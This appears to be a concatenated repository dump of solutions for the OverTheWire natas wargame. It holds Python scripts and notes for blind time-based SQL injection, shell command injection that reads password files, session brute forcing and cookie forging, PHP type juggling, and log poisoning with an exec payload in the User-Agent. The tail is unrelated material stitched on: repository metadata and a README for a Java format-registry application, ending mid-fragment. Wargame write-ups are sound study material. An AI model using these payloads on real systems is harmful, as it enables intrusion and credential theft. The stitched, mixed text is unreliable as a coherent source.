echo "<option>$f</option>"; ?> </select> </form> </div> <?php session_start(); setLanguage(); echo "<h2>$__GREETING</h2>"; echo "<p align=\"justify\">$__MSG"; echo "<div align=\"right\"><h6>$__FOOTER</h6><div>"; ?> <p> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html><file_sep>import requests url = 'http://natas23.natas.labs.overthewire.org/' username = 'natas23' password = '<PASSWORD>' session = requests.session() response = session.get( url, params = {"passwd": "<PASSWORD>"}, auth=(username, password)) print(response.text) # natas24_pass: <PASSWORD><file_sep># php code injection net ma her alxi lago<file_sep>import requests url1 = 'http://natas21-experimenter.natas.labs.overthewire.org/?debug=True' url2 = 'http://natas21.natas.labs.overthewire.org/?debug=True' username = 'natas21' password = '<PASSWORD>' session = requests.session() response = session.post( url1, data={ "admin": "1", "submit": "Update" }, auth=(username, password)) sess_cookie = session.cookies['PHPSESSID'] response = session.get(url2, cookies={"PHPSESSID": sess_cookie}, auth=(username, password)) print(response.text) # natas22_pass: <PASSWORD><file_sep># php type juggling if(array_key_exists("passwd",$_REQUEST)){ we need the function to return 0, which it will only do if both the strings are equal but if we compare string to an array it will retrun null with an error. so !null is true and we get the credentials.<file_sep>import requests url = 'http://natas24.natas.labs.overthewire.org/' username = 'natas24' password = '<PASSWORD>' session = requests.session() response = session.get(url, params = {"passwd[]": "<PASSWORD>"}, auth=(username, password)) print(response.text) # this is helpful: https://www.php.net/manual/en/function.strcmp.php # natas25_pass: <PASSWORD><file_sep>pass: <PASSWORD> <html> <body> /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ ''' here table name and the column name iside it is given we can use it ''' <?php if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored>'); mysql_select_db('natas17', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Error in query.<br>"; } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> ''' notice post request is made and in the php code, all response texts are commented out we have to perform a time based sql injection we can use sleep(seconds) like: natas18" and sleep(5) # so if the user natas18 exists, the sql server will sleep for 5 seconds before sending the response we can use this injection method to find out the password '''<file_sep>import requests username = 'natas18' password = '<PASSWORD>' url = 'http://natas18.natas.labs.overthewire.org/' session = requests.session() for i in range(1, 641): params = {"username": str(i), "password": str(i+1)} req = session.get(url, params=params ,auth = (username, password)) # cookie key value pair must be an string print(req.cookie) # pass: <PASSWORD> ''' we cannot set a cookie "admin" and set it to '1' the php code will set it zero anyways we can set the "PHOSESSID", users must have this cookie, so admin also must have this also admin is uniques, so the admin a session cookie must be alloated for the admin loop through all the possible "PHOSESSID" cookie ''' <file_sep># natas20 - all about php sessions and custom sessions handlers first php checks for any previous sessions, if found uses that session or creates a new session id and sends that session id as a cookie "PHPSESSID" to the client. It created a temporary directory on the server to created the session variables for that user session. In the custon session handler functios, the functions read() and write() are vulnurable. first I thought the sequence of execution was; write() and read() but it is quite the opposite because first php checks for any previous sessions and reads from that session file. so the vulnurability is in both of those functions: in the read function: function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { // checks if the sessid is valid debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { // checks if file existe ie if there was any previous sessions debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); // reads from the file; remember-first read() is executed not write so the file can be empty at first $data = file_get_contents($filename); $_SESSION = array(); // gets file contents foreach(explode("\n", $data) as $line) { // splits the contents at every "\n" newline; returns a array debug("Read [$line]"); $parts = explode(" ", $line, 2); //splits at every space char " " if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; //saves it in session varibale; we can inject "somename \nadmin 1" } return session_encode(); } in the write function: if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { // checks if sessid is valid debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; // writes to this file $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data) if we inject "somename \nadmin 1" it will split at \n and the session varibale $_session['admin'] = 1 is saved but since write is executed after read, to be more precise; after the output stream is closed we have to make another get request to set ourself as admin<file_sep># php type juggling PHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer.(from php manual page) so php will convert the variable type as necessary binary safe functions: process strings as stream of bytes.. which simply means that the function is case sensitive <form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"> </form> <?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"<PASSWORD>") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <<PASSWORD>></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?> The strstr() function compares the 2 strings and returns the part of the first string which contains the 2nd string, False if the 1st string doenot contain 2nd string if(strstr($_REQUEST["passwd"],"<PASSWORD>") && ($_REQUEST["passwd"] > 10 )){ here we can see we are first comparing string and then a integer, php converts variable type as necessary so if we submit "12 iloveyoubaby", strtsr() will return "iloveyoubaby" and teh 2nd part will also be true as pho will convert the string "12 iloveyoubab" to integer 12 which is greater than 10 and hence we get the password. <file_sep>import requests from time import * url = "http://natas17.natas.labs.overthewire.org/" uname = 'natas17' password = '<PASSWORD>' all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ' lis = list() while(len("".join(lis))<32): for char in all_possible_chars: start_time = time() data = { "username": 'natas18" and binary password like "' + "".join(lis) + char + '%" and sleep(2) #' } r = requests.post(url, data=data, auth=(uname, password)) end_time = time() if (end_time - start_time) > 1.5: lis.append(char) print("".join(lis)) break # natas18_password: <PASSWORD><file_sep># source from "http://natas21-experimenter.natas.labs.overthewire.org/" <? session_start(); // if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } if(array_key_exists("debug", $_GET)) { print "[DEBUG] Session contents:<br>"; print_r($_SESSION); } // only allow these keys $validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); $form = ""; $form .= '<form action="index.php" method="POST">'; foreach($validkeys as $key => $defval) { $val = $defval; if(array_key_exists($key, $_SESSION)) { $val = $_SESSION[$key]; } else { $_SESSION[$key] = $val; } $form .= "$key: <input name='$key' value='$val' /><br>"; } $form .= '<input type="submit" name="submit" value="Update" />'; $form .= '</form>'; $style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; $example = "<div style='$style'>Hello world!</div>"; ?> <p>Example:</p> <?=$example?> <p>Change example values here:</p> <?=$form?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> # source from:"http://natas21.natas.labs.overthewire.org/" function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <<PASSWORD>></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; } } session_start(); print_credentials(); ?><file_sep>import requests import binascii username = 'natas19' password = '<PASSWORD>' url = 'http://natas19.natas.labs.overthewire.org/' #session = requests.session() for i in range(1, 641): cook = binascii.b2a_hex(str("%d-admin"%i).encode('ascii')).decode('ascii') req = requests.post(url, cookies={"PHPSESSID": cook} , auth = (username, password)) if "are an admin" in req.text: print(req.text) break # pass: <PASSWORD> ''' for username "jack": PHPSESSID=3631372d4a61636b PHPSESSID=3931 2d4a61636b PHPSESSID=3530322d4a61636b for username "123456": PHPSESSID=363137 2d3132333435 PHPSESSID=363333 2d3132333435 PHPSESSID=3938 2d3132333435 check the cookies. it has 2 parts, first varying part and another fixed This cookie is hex encoded decoding, the first part is just some random number and the second part is a hyphen "-" followed by the username loop through "(1-641)-admin".encode('hex') as cookie and get the password '''<file_sep># local file inclusion and remote code execution so turns out there is 2 differner files for 2 different languages and the default one is the englisg file. so when we choose a language one of the 2 files is set. The following code is used. function setLanguage(){ /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] )) // we can directory traverse return 1; safeinclude("language/en"); } function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ // but "../"" is filtered out logRequest("Directory traversal attempt! fixing request."); // we can outsmart this; use "....//"; so "../" will be filtered out but "../" remains $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ // still we cannot access /etc/natas_webpass/natas26 logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { include($filename); return 1; } return 0; } but take a look at this code: logRequest("Directory traversal attempt! fixing request."); // if any filtering actions occour, it is logged in a file function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; // date time is written to the log file $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; // this is interesting; clients "user-agent" is also logged; with python requests we can supply our custom user-agent $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); } params = {"lang": "....//....//....//....//....//path_to_the_log_file"} so when filtering, our user agent is logged what if we change out user agent with php code headers = {"User-Agent": "<?php echo exec('cat /etc/natas_webpass/natas26'); ?>"} so we get the contents of the log file which actually contains the php code to print the password for the next level <file_sep># playing with cookies: cross-site session hijaking we get this note: Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org check the source code in both webpages the main vulnurable code is: This code is in the second website if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } so whatever we submit through the form is stored in the session array so we can submit "admin": "1" the main print_credentials() page is in the orignal webiste websites are colocated: never heard of it googled it: co-located sharing same location so session cookies might also be stored on the sa,e computer I guess post "admin": "1" from the second website and get the "PHPSESSID" and perform a get request to the orignal website submitting the same session cookie and wohhal you are the admin bacause we at first set the array or the session variable $_session['array'] = 1 and used the same session cookie 2nd time which will access the same file for the seeion on the server.<file_sep>import requests url = "http://natas16.natas.labs.overthewire.org/" username = 'natas16' password = '<PASSWORD>' all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ' lis = [] count = 0 for i in all_possible_chars: params = {'needle': "$(grep ^" + i + " /etc/natas_webpass/natas17)elephant"} r = requests.get(url, params=params, auth = (username, password)) print(count) print(r.url) count += 1 if 'elephant' not in r.text: lis.append(i) print("".join(lis)) <file_sep>import requests url = 'http://natas22.natas.labs.overthewire.org/' username = 'natas22' password = '<PASSWORD>' payload = {"revelio" : "djdjd"} session = requests.session() response = session.get( url, params=payload, auth=(username, password), allow_redirects = False) print(response.text) #print(response.history) # natas23_pass: <PASSWORD>
195e49193374f8f9c37c5a00cbdf78a60c2c7454
[ "Markdown", "Python", "PHP" ]
25
Python
Rounak-stha/OTW-natas
c2afa035a29c9c78679323a4d76a4ce34117f529
9a8bb6e40f9a9caf10ea73645b7c03256ec577f4
refs/heads/master
<file_sep><?php /** Plugin Name: <NAME>'s WP Widgets & Shit. Plugin URI: http://randydaniel.me Description: Custom theme widgets & shit. Version: 1.0 Author: <NAME> Author URI: http://randydaniel.me */ // Add class (img-responsive) to get_avatar reference, used in agent/broker widget. add_filter('get_avatar','change_avatar_css'); function change_avatar_css($class) { $class = str_replace("class='avatar", "class='avatar img-responsive ", $class) ; return $class; } // Creating the agent/broker widget class rdwp_widget_broker extends WP_Widget { /** Widget Setup (Constructor Form) **/ function __construct() { parent::__construct( // Base ID of your widget 'rdwp_widget_broker', // Widget name will appear in UI __('Broker Information', 'rdwp_widget_broker_domain'), // Widget description array( 'description' => __( 'Display broker information for current &amp; similar listings. (Useful ONLY in "Property Listing" sidebar.)', 'rdwp_widget_broker_domain' ), ) ); } // Creating widget front-end // This is where the action happens public function widget( $args, $instance ) { $title = apply_filters( 'widget_title', $instance['title'] ); // before and after widget arguments are defined by themes echo $args['before_widget']; if ( ! empty( $title ) ) echo $args['before_title'] . $title . $args['after_title']; // This is where you run the code and display the output echo '<div id="agent-info">'; echo get_avatar( get_the_author_meta( 'ID' ) ); echo '<h4>' . get_the_author_meta('display_name') . '</h4>'; // #widget-broker echo '</div>'; echo '<ul class="well">'; if( get_the_author_meta('twitter') ): echo '<li><i class="fa fa-twitter"></i>&nbsp;<a href="http://twitter.com/' . get_the_author_meta('twitter') . ' ">' . '@' . get_the_author_meta('twitter') . '</a></li>'; endif; if( get_the_author_meta('user_email') ): echo '<li><i class="fa fa-envelope-o"></i>&nbsp;<a href="mailto:' . get_the_author_meta('user_email') . ' ">' . get_the_author_meta('user_email') . '</a></li>'; endif; if( get_the_author_meta('phone') ): echo '<li><i class="fa fa-phone"></i>&nbsp;' . get_the_author_meta('phone') . '</li>'; endif; echo '</ul>'; if( get_theme_mod( 'crossings_brand_image', 'value' ) ): echo '<div id="broker-info">'; echo '<a href="' . home_url() . '"><img src="' . get_theme_mod( 'crossings_brand_image', 'value' ) . ' " class="img-responsive"></a>'; endif; echo $args['after_widget']; } // Widget Backend public function form( $instance ) { if ( isset( $instance[ 'title' ] ) ) { $title = $instance[ 'title' ]; } else { $title = __( 'Agent Information', 'rdwp_widget_broker_domain' ); } // Widget admin form ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /> </p> <?php } // Updating widget replacing old instances with new public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : ''; return $instance; } } // Class rdwp_widget_broker ends here // *********************************************************************************************************** // Custom excerpt length function custom_excerpt_length( $length ) { return 10; } add_filter( 'excerpt_length', 'custom_excerpt_length', 999 ); // Add 'read more' link to excerpt function new_excerpt_more( $more ) { return ' <a class="read-more" href="'. get_permalink( get_the_ID() ) . '">' . __('[...]', 'your-text-domain') . '</a>'; } add_filter( 'excerpt_more', 'new_excerpt_more' ); // Creating the recent posts widget class rdwp_widget_recent extends WP_Widget { /** Widget Setup (Constructor Form) **/ function __construct() { parent::__construct( // Base ID of your widget 'rdwp_widget_recent', // Widget name will appear in UI __('Recent Listings', 'rdwp_widget_recent_domain'), // Widget description array( 'description' => __( 'Display (3) recent property listings', 'rdwp_widget_recent_domain' ), ) ); } // Creating widget front-end // This is where the action happens public function widget( $args, $instance ) { $title = apply_filters( 'widget_title', $instance['title'] ); // before and after widget arguments are defined by themes echo $args['before_widget']; if ( ! empty( $title ) ) echo $args['before_title'] . $title . $args['after_title']; // This is where you run the code and display the output $the_query = new WP_Query( 'showposts=3' ); while ($the_query -> have_posts()) : $the_query -> the_post(); echo '<div class="featured-property">'; if (has_post_thumbnail( $post->ID ) ): $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'single-post-thumbnail' ); echo '<a href="'; echo the_permalink(); echo '"><img src="' . $image[0] . '" class="img-responsive" />'; endif; echo '<a href="'; echo the_permalink(); echo '">'; echo '<h4>'; echo the_title(); echo '</h4></a>'; echo the_excerpt(); echo '<div class="featured-details row">'; echo '<div class="col-xs-4">'; echo the_field('bedrooms') . '&nbsp;BR</div>'; echo '<div class="col-xs-4">'; echo the_field('bathrooms') . '&nbsp;BA</div>'; echo '<div class="col-xs-4">'; $category = get_the_category(); echo $category[0]->cat_name . '</div>'; echo '</div>'; echo '</div>'; endwhile; echo $args['after_widget']; } // Widget Backend public function form( $instance ) { if ( isset( $instance[ 'title' ] ) ) { $title = $instance[ 'title' ]; } else { $title = __( 'Recent Listings', 'rdwp_widget_recent_domain' ); } // Widget admin form ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /> </p> <?php } // Updating widget replacing old instances with new public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : ''; return $instance; } } // Class rdwp_widget_recent ends here // Register and load the widgets function rdwp_load_widget() { register_widget( 'rdwp_widget_broker' ); register_widget( 'rdwp_widget_recent' ); } add_action( 'widgets_init', 'rdwp_load_widget' ); // Add + Remove Profile Fields to User Form function rdwp_user_fields($profile_fields) { // Add new fields $profile_fields['twitter'] = 'Twitter Handle/Username'; $profile_fields['phone'] = 'Phone Number'; return $profile_fields; } add_filter('user_contactmethods', 'rdwp_user_fields'); // Load CSS & JS function rdwp_post_gallery_cssjs() { $plugin_url = plugin_dir_url( __FILE__ ); // CSS wp_enqueue_style( 'rdwp-style', $plugin_url . 'assets/css/style.css', array(), '1.0', 'all' ); wp_enqueue_style( 'fa-style', $plugin_url . 'assets/css/font-awesome.min.css', array(), '4.0.3', 'all' ); // JS (Boolean = include in footer?) wp_enqueue_script( 'rdwp-js', $plugin_url . 'assets/js/app.js', array( 'jquery' ), '1.0', true ); } add_action( 'wp_enqueue_scripts', 'rdwp_post_gallery_cssjs' ); ?>
6165ae4ea43a6a14156ccf228645ec6dee75f1af
[ "PHP" ]
1
PHP
romeomikedelta/rdwp-extras
f63928416efe49f89ed39702af836ae9c27c76ca
e54f3de1682115365f01cffa9e88b04cd3ec9479
refs/heads/master
<file_sep> <?php class Autorisation extends CI_Controller { public function index(){ $this->load->helper('url'); $this->load->view('Autorisation'); } }<file_sep><!doctype html> <Html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" type="text/css" href="<?php echo base_url('Assets/main.css');?>" /> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous"> <!-- Optional JavaScript --> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <title> Autorisation drone </title> </head> <body > <div id="wrapper"> <!-- End of Sidebar --> <!-- Content Wrapper --> <div id="content-wrapper" class="d-flex flex-column"> <!-- Main Content --> <div id="content"> <!-- Topbar --> <nav class="navbar navbar-expand navbar-light bg-white topbar mb-4 static-top shadow"> <!-- Sidebar Toggle (Topbar) --> <button id="sidebarToggleTop" class="btn btn-link d-md-none rounded-circle mr-3"> <i class="fa fa-bars"></i> </button> <!-- Topbar Search --> <form class="d-none d-sm-inline-block form-inline mr-auto ml-md-3 my-2 my-md-0 mw-100 navbar-search"> <div class="input-group"> <input type="text" class="form-control bg-light border-0 small" placeholder="Search for..." aria-label="Search" aria-describedby="basic-addon2"> <div class="input-group-append"> <button class="btn btn-primary" type="button"> <i class="fas fa-search fa-sm"></i> </button> </div> </div> </form> <!-- Topbar Navbar --> <ul class="navbar-nav ml-auto"> <!-- Nav Item - Search Dropdown (Visible Only XS) --> <li class="nav-item dropdown no-arrow d-sm-none"> <a class="nav-link dropdown-toggle" href="#" id="searchDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fas fa-search fa-fw"></i> </a> <!-- Dropdown - Messages --> <div class="dropdown-menu dropdown-menu-right p-3 shadow animated--grow-in" aria-labelledby="searchDropdown"> <form class="form-inline mr-auto w-100 navbar-search"> <div class="input-group"> <input type="text" class="form-control bg-light border-0 small" placeholder="Search for..." aria-label="Search" aria-describedby="basic-addon2"> <div class="input-group-append"> <button class="btn btn-primary" type="button"> <i class="fas fa-search fa-sm"></i> </button> </div> </div> </form> </div> </li> <div class="topbar-divider d-none d-sm-block"></div> <!-- Nav Item - User Information --> <li class="nav-item dropdown no-arrow"> <a class="nav-link dropdown-toggle" href="#" id="userDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span class="mr-2 d-none d-lg-inline text-gray-600 small">SOLO Sara</span> <img class="img-profile rounded-circle" src="https://source.unsplash.com/QAB-WJcbgJk/60x60"> </a> <!-- Dropdown - User Information --> <div class="dropdown-menu dropdown-menu-right shadow animated--grow-in" aria-labelledby="userDropdown"> <a class="dropdown-item" href="#"> <i class="fas fa-user fa-sm fa-fw mr-2 text-gray-400"></i> Profile </a> <a class="dropdown-item" href="#"> <i class="fas fa-cogs fa-sm fa-fw mr-2 text-gray-400"></i> Settings </a> <a class="dropdown-item" href="#"> <i class="fas fa-list fa-sm fa-fw mr-2 text-gray-400"></i> Activity Log </a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="#" data-toggle="modal" data-target="#logoutModal"> <i class="fas fa-sign-out-alt fa-sm fa-fw mr-2 text-gray-400"></i> Logout </a> </div> </li> </ul> </nav> <h1> SOLO </h1> <!-- End of Topbar --> <!-- Begin Page Content --> <!-- End of Main Content --> </div> <!-- End of Content Wrapper --> </div> <!-- End of Page Wrapper --> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fas fa-angle-up"></i> </a> <!-- Logout Modal--> <div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body">Select "Logout" below if you are ready to end your current session.</div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <a class="btn btn-primary" href="login.html">Logout</a> </div> </div> </div> </div> <div class="row"> <div class="col-md-3 col-sm-3 col-xs-12"></div> <div class="col-md-9 col-sm-9 col-xs-12"> <img src="im.jpg" alt="map" height="60" width="60"> <form id="form-cont"> <div class="form-group"> <label for="exampleInputEmail1">Email address</label> <input type="email" class="form-control" id="exampleInputEmail1" placeholder="Email"> </div> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="<PASSWORD>" class="form-control" id="exampleInputPassword1" placeholder="<PASSWORD>"> </div> <div class="checkbox"> <label> <input type="checkbox"> Remember me </label> "" </div> </form> <button type="submit" class="btn btn-danger" onclick="(window.location='welcome_message.php')">Submit</button> </div> </body> </html><file_sep><nav class="navbar navbar-dark" style="margin:0px; background-color:#4183d7;" > <div class="container-fluid"> <!-- Brand and toggle get grouped for better mobile display --> <a href="index.php"> <ul class="nav navbar-nav navbar-left" style="margin:0px;" > <li> <img src="Resources/logo.png" class="img-responsive" alt="Responsive image" style="width:70px; padding:0px ;margin:0px;"></li> <li style="margin-top:5px; font-size:30px;color:white;"> <b> Annonces-Immobilier</b> </li> </ul> </a> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav navbar-right" > <li class="dropdown"> <a href="#" class="dropdown-toggle " style="color:white;" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <b>FAQ</b> <span class="caret"></span></a> <ul class="dropdown-menu dropdown-menu-right"> <li><a href="articleReaderpage.php">Comment chercher une annonce?</a></li> <li><a href="articleReaderpage.php">Comment ajouter une annonce?</a></li> <li role="separator" class="divider"></li> <li><a href="articleReaderpage.php">Comment créer un compte? </a></li> <li role="separator" class="divider"></li> <li><a href="articleReaderpage.php">Qui somme nous?</a></li> </ul> </li> <li><a href="mailto:<EMAIL>" style="color:white;"><b>Contactez nous</b></a></li> <?php if(isset($_SESSION['EMAIL'])&&isset($_SESSION['PASSWORD'])){ echo ' <li><a href="deconnexion.php" style="color:white;">Se deconnecter</a></li> <li><button type="button" class="btn btn-info" style="margin-top:10px;" onclick="window.location.href=\'/pfe/mesannonces.php\'"> <span class="glyphicon glyphicon-list" aria-hidden="true"></span> mes annonces</button></li>'; } else{ echo '<li><button type="button" class="btn btn-info" style="margin:10px;" data-toggle="modal" data-target="#connexionModal" <span class=" glyphicon glyphicon-list-alt" aria-hidden="true"></span> Se Connecter</button></li>'; } ?> <li><button type="button" class="btn btn-success" style="margin-top:10px;" onclick="window.location.href='/pfe/inscription.php'"> <span class="glyphicon glyphicon-plus" aria-hidden="true"></span> Déposer une annonce</button></li> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> <!-- Modal --> <div class="modal fade" id="connexionModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog" role="document"> <div class="modal-content" > <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button> <h4 class="modal-title" id="myModalLabel">Se connecter :</h4> </div> <div class="modal-body" > <div class="col-lg-10 col-lg-offset-1"> <form method="post" action="login.php"> <div class="form-group"> <label for="exampleInputEmail1">Email address</label> <input type="email" class="form-control" name="email" id="exampleInputEmail1" placeholder="Email"> </div> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="<PASSWORD>" class="form-control" name="pass" id="<PASSWORD>" placeholder="<PASSWORD>"> </div> <div class="checkbox"> <label> <input type="checkbox"> Se souvenir de mon mot de passe </label> </div> <p class="help-block">Vous n'avez pas de compte encore !! <a href="Newuser.php">Inscrivez Vous.</a></p> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Se connecter</button> </form> </div> </div> </div> </div> </nav><file_sep># hajarsolo projet stage <file_sep><!doctype html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="<?php echo base_url(); ?>/public:CSS/bootstrap"> <title> Header </title> </head> <body> <H1> TeST Header </h1> <file_sep><!doctype html> <Html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" type="text/css" href="main.css"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="<KEY> crossorigin="anonymous"> <!-- Optional JavaScript --> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script> </head> <body > <h1> solo </h1> <div class="row"> <div class="col-md-4 col-sm-4 col-xs-12"></div> <div class="col-md-4 col-sm-4 col-xs-12"> <form id="form-cont"> <div class="form-group"> <label for="exampleInputEmail1">Email address</label> <input type="email" class="form-control" id="exampleInputEmail1" placeholder="Email"> </div> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="password" class="form-control" id="exampleInputPassword1" placeholder="<PASSWORD>"> </div> <div class="checkbox"> <label> <input type="checkbox"> Remember me </label> </div> </form> <button type="submit" class="btn btn-danger" onclick="(window.location='welcome_message.php')">Submit</button> </div> <div class="col-md-4 col-sm-4 col-xs-12"></div> </div> <?php echo 'Sara' ?> </body> </html>
db6c391260a912583732c7d9c4d1763296682a78
[ "Markdown", "PHP" ]
6
PHP
HajarZR/hajarsolo
433aa24e20be27b97b1aa0f2301f89668e802977
4477550cda83db2d72cbf1709fb6e4975290802f
refs/heads/master
<file_sep> Prototype Format Registry <NAME> AIT Austrian Institute of Technology GmbH 03.01.2011 INSTALLATION 1. Requires Java 1.6 or higher 2. Requires Tomcat 6 or higher 3. Create a working directory for the application, for example C:/registry Then create two sub-directories under this directory C:/registry/work C:/registry/download 4. Populate the application directory with the source format XML files 4a. You can download these from https://github.com/rcking/formatxmlrepository Unpack the container to the application directory (e.g. "C:/registry") Rename the new subdirectory from (for example) C:/registry/rcking-formatxmlrepository-0f9fc13 to C:/registry/formatxmlrepository 4b. Alternatively, if you have GIT installed, go to the application directory (e.g. "/registry") and execute git clone https://github.com/rcking/formatxmlrepository.git 5. Copy registry.war to the WEBAPPS directory of your Tomcat installation 6. Edit the WEB-INF/classes/registry.properties file in order to point to the application directories You can either edit this directly in the war archive, or you can unpack the war archive into the Tomcat webapps directory and then edit the properties file. formatxmlpath=C:/registry/formatxmlrepository outputxmlpath=C:/registry/work downloadpath=C:/registry/download Note that it is important that these three directories be different! 7. Start Tomcat; the application should be available under http://localhost:8080/registry/ <file_sep>package 